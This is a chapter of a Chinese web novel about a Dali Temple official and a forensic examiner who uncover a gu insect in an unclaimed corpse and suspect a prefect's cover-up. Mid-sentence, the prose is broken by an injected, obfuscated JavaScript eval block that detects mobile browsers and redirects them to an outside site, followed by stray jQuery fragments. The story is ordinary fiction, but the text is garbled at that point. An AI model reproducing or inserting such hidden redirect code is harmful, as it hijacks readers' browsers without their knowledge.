50. 重生
作品:《原来大理寺卿是忠犬》 郡守府。
验尸一事,甫一提出便遭遇了无形的阻力。
郡守梁寅听闻大理寺少卿盛祈年竟要亲自过问验尸,面上毫不掩饰地掠过一丝错愕与费解。
按规制,大理寺主司复核刑案判决。这勘验尸身、查缉侦查,确非少卿职责所在。
但话又说回来,汴京大理寺,天子脚下权枢之地,这位年轻的少卿更是正四品的高官,真要插手地方案件,谁敢明着说个“不”字?
梁寅讪讪一笑,将话题引向停尸房内的三具尸体,语速刻意放得平稳,“少卿大人关心刑狱,下官感佩。眼下停尸房内,统共也就三具尸身。”
他掰着手指,开始细数,“头一具,是个叫蔡萍的妇人,邻里间口角不断,结果被人夜里潜入,用被褥生生闷死了。凶手早已人赃并获,画押入狱,只待过几日便将尸身发还家属安葬,此案已了。”
“第二具,是个五十上下的男子,王鸿。”
梁寅不紧不慢地说,“他纳了个貌美小妾,被迷得神魂颠倒,竟要将全部家产留给小妾和她腹中骨肉。他那大儿子王一凡气不过,伙同妻子,逼着老父立下遗嘱后,竟下了狠手将其掐死,还伪作自缢现场。”
“唉,王鸿颈上那青紫的指印,太过显眼,想瞒也瞒不住。那小妾报了官,王一凡那妻子胆子小,进了府衙便吓得全招了。”
“这第三具么......”
梁寅的目光微微闪烁,声音也轻了几分,“也是个男子,瞧着比王鸿年轻些,约莫三四十岁。被发现时倒在荒郊野岭,是个采药的农夫瞧见的,发现时已死去足有四个时辰。仵作验过,说是猝死,许是积年的旧疾突然发作所致。”
他露出一个无奈又略带讨好的笑容,“尸身身份至今不明,告示贴出去也无人来认领。”
“少卿大人,您看,都是些...咳,小打小闹的案子。劳烦段公子这样出身西平段家的行家里手来复验,实在是...屈才了。”
盛祈年神色未动,目光平静地掠过梁寅,落在停尸房的方向。
他的语调清冷如常,“梁大人过谦。段公子家学渊源,于勘验一道自有独到之处。这第三具无名尸身,既然大人这里暂时寻不到线索确认其身份来历,让段公子瞧瞧,或许能另辟蹊径,加快进展,岂非好事?”
梁寅喉头一滚,额角似有微汗渗出,连忙躬身,“是,是是是!少卿大人体恤下情,思虑周全!下官...下官替湘阳郡百姓谢过大人!”
他暗自吸了口气,赔着小心道,“只是,大人与段公子此行本为私务,舟车劳顿还要为此费心,下官真是......过意不去啊。”
“无妨。”
盛祈年澹然颔首,不再多言,“左右得闲。那便有劳梁大人引路。”
“请,大人这边请!”
梁寅连忙侧身引路,脸上堆着笑,眼底却飞快掠过一丝焦虑。
郡守府的停尸房设在后衙僻静处,推门而入,一股混杂着劣质石灰与淡淡腐气的阴冷气息扑面而来,光线昏暗,仅靠几扇高窗透入微光。
陈设简陋,唯有几张石台横陈。
段锦墨对此浑不在意,径自从随身携带的精巧皮囊中取出自己惯用的验尸器具,一一摆开。
他见盛祈年并未如寻常官员般避嫌离去,反而静立一旁,眼中不由闪过几分讶异,挑眉问道,“大人...不回避么?”
盛祈年目光落在冰冷的石台上,声音平稳无波,“不必。自幼时起,看得多了。”
段锦墨闻言,唇角勾起玩味又佩服的笑意,利落地用襻膊束起袖子,“大人果非常人。既然如此,恕在下冒昧,烦请少卿大人屈尊,为在下做个笔录如何?”
“可以。”
盛祈年答得干脆,毫无矫饰,随手取过一旁备好的纸笔。
厚重的木门在段锦墨身后“吱呀”一声关上,隔绝了内外。
门外廊下,梁寅脸上强撑的笑容瞬间垮塌。
他焦躁地来回踱了两步,狠狠一跺脚,仿佛要将地上的青砖碾碎。
“大人,这可如何是好?”
旁边的心腹小吏凑上前,声音压得极低,满是惶恐。
梁寅猛地停步,眼神阴鸷,压低声音急促问道,“季鸣竹呢?人呢?”
“回大人,”
心腹连忙回话,“这个时辰,郡马爷...估摸着还在城外的小居里。”
“快!”
梁寅几乎是从牙缝里挤出命令,“立刻派人去!飞马去给他传个信!”
“是!”
心腹领命,抿唇小声问,“大人,您说这少卿...会不会发现了什么”
梁寅冷静地分析道,“若是真的发现了什么,朝廷早就派人来抓了,哪儿轮得到他一个文官?再说了,他日后又要袭爵,又有可能是嫡公主的驸马,上头又怎会单单派一个这么金尊玉贵的人过来?”
心腹点了点头,有还是不安心,“大人说的是。可......”
“别废话了!”梁寅眼中凶光毕露,声音压得更低,带着彻骨的寒意,“告诉下面所有人,把眼睛都给我放亮些!什么话该说,什么话不该说,都把嘴给我闭严实了!”
“谁敢漏出去半个字,仔细他的皮!”
“是!!”
心腹被他眼中的狠厉吓得一哆嗦,连忙应声,匆匆消失在回廊深处。
梁寅独自站在紧闭的验尸房门外,听着里面隐约传出的细微声响,脸色在昏暗中变幻不定。
-
冰冷的石台上,那具无名男尸的初步勘验结果与郡守府仵作所言相差无几。
体表确无外伤,亦无中毒或窒息迹象。
单凭这些,判定为猝死,实难指摘其错漏。
然而,段锦墨的目光锐利如刀,指尖拂过尸身紧实虬结的肌理,“大人,此人筋骨强健,指腹虎口皆有厚茧,是常年习剑的手,绝非寻常病弱之人。”
他俯身,用特制的细长银签小心翼翼探入尸体的鼻腔深处,再抽出时,签尖赫然沾着一点极细微却刺目的猩红粉末。
段锦墨眸色一沉,将银签递到盛祈年眼前。
那熟悉的色泽的气味,倏地点燃了两人的双眸。
“蓉玉楼......”
盛祈年薄唇微启,吐出这三个字,声音冷冽如冰。
再联想到梁寅方才介绍此尸时那闪烁其词、强作镇定的模样,答案几乎呼之欲出。
他目光沉沉落在尸体的头颅上,“此人脑中,恐怕也非比寻常。”
“大人,”
段锦墨压低声音,带着探询,“开颅一验?”
盛祈年剑眉微蹙,“开颅动静不小,极易惊动梁寅,打草惊蛇。”
他转向段锦墨,澹声问,“若开颅,事后你可有把握将颅骨复原如初,不留痕迹?”
这要求近乎苛刻。
段锦墨凝神思索片刻,面露难色,“极耗功夫,而且...实无十足把握。此尸至今无人认领,兴许可存放数日,待明后日寻机再来......”
“不可。”
盛祈年断然否决,眼神锐利地扫过紧闭的木门,“梁寅已知我们起疑。若此人颅中真有蛊虫,待我们离开,他定会不惜一切毁尸灭迹,抹去痕迹。”
他的担忧不无道理。
叹息一声,段锦墨眉宇深锁,“头颅缝合本就不易,若想天衣无缝,难上加难。即便开了,被察觉的风险也极高。”
忽然间,盛祈年眸光微动,忽地指向尸体鼻腔,“那便不藏了。”
“啊?”段锦墨怔住。
盛祈年解释,“就说复验时发现此人鼻腔深处有异样血渍残留,疑是颅内出血所致,故开颅探查,以明死因。此乃勘验之常理,梁寅纵有疑虑,也难寻错处。”
段锦墨眼中同样精光乍现,“妙!大人此计甚妙!”
此法不仅给了开颅一个冠冕堂皇的理由,更能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15836795|172344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将查到的线索隐藏在「颅内出血」的诊断之下!
事不宜迟。
段锦墨深吸一口气,压下心中杂念,再次执起他那套寒光闪闪的精钢器具。
开颅之术,他近期已在大理寺中历练中炉火纯青。
锋利的骨锯发出细微却令人牙酸的声响,在寂静阴冷的停尸房内格外清晰。
他动作迅捷而精准,不过一盏茶功夫,颅骨已被小心揭开。
镊尖探入,在熟悉的位置,稳而准地夹出一物——
一只米粒大小、通体透明的蛊虫,肉眼几乎难查。
放在特制的药水中,泛着诡异的光泽。
“果然!”
段锦墨面色凝重,“形貌大小,与曲声谷刺客身上所获的蛊虫,如出一辙!”
盛祈年看着瓶中之物,眼底寒意更甚。
片刻后,他淡淡地微笑,“今日辛苦你了,段公子。”
段锦墨用沾湿的布巾仔细擦拭着手指,闻言抬头,疲惫中带着一丝完成任务后的轻松,笑容真诚,“能为大人分忧,是在下荣幸。”
他眼中忽而带着几分期许与亲近,“大人若不见外,唤我锦墨即可。”
盛祈年对上他的视线,并无推拒,颔首应道,“好,锦墨。”
段锦墨嘴角的笑意更深了些,只觉得驱散了身上的些许疲惫,方才的辛劳也值得了。
谁知,盛祈年慢慢悠悠地开口,“明日,恐怕还需你再来一趟。”
“为何?”
段锦墨一怔,验尸后的疲惫感尚未完全褪去,脸上写满了困惑。
“那王鸿,”
盛祈年的黑眸中略过几分怀疑,“我看也不对劲。”
段锦墨:“......”
他刚松懈下来的神经瞬间又绷紧了,一口气差点没提上来。
但几乎是立刻,盛祈年话中的关键点击中了他。
他猛地抬眼,已然明悟,“大人是说...那小妾?!”
“嗯。”
盛祈年微微颔首,“此案卷宗我曾翻阅。王鸿此人,经营染坊多年,素以精明算计著称,家中已有三房妾室。却突然被一个新纳的小妾迷得神魂颠倒,甚至不惜将全部家财尽数相赠,更因此引来杀身之祸。”
“此等行径,过于突兀,不合常理。”
段锦墨立刻抓住关键,脱口问道,“那小妾,莫非是...青楼出身?”
盛祈年唇边掠过一丝冰冷的弧度,给出了肯定的答案,“她入府之前,正是蓉玉楼的女/妓。是王鸿为她赎的身。”
-
暮色四合,夕阳的余晖下,般若寺的飞檐被染成暖金色。
温初瑶步出山门,只觉双腿酸胀发软,忍不住轻轻揉了揉膝盖,低低叹了口气。
比在宫里诵经祈福累多了。
“跪乏了?”
闻素枝来接她,将她的状态看在眼里,关切地笑道,“走,姐姐带你去云汉坊,让他们给你好生松快松快筋骨。”
温初瑶闻言,面上却掠过一丝迟疑,“姐姐,这...不大好吧?”
她脑海中立刻浮现出昨夜自己对着盛祈年抱怨他沾染秦楼楚馆气息的模样。
今日若自己去那南风馆......
岂不是自打嘴巴?
“怎么?”
闻素枝眉眼弯弯地调笑道,“怕你家那位小侯爷知道了,拈酸吃醋不成?”
温初瑶被说中心事,脸颊微热,索性将话题一转,美眸中流露出恰到好处的好奇,“比起那个......姐姐,我倒是对那蓉玉楼颇有些兴趣。”
“哦?”
闻素枝挑眉,面露讶异。
连南风院都觉不妥的人,竟想去青楼?
温初瑶神色自若,仿佛只是随口一提,“一路上听得最多的便是这蓉玉楼如何华丽新鲜,心下好奇,想去见识一番罢了。”
熟料,闻素枝眼中的疑惑更甚。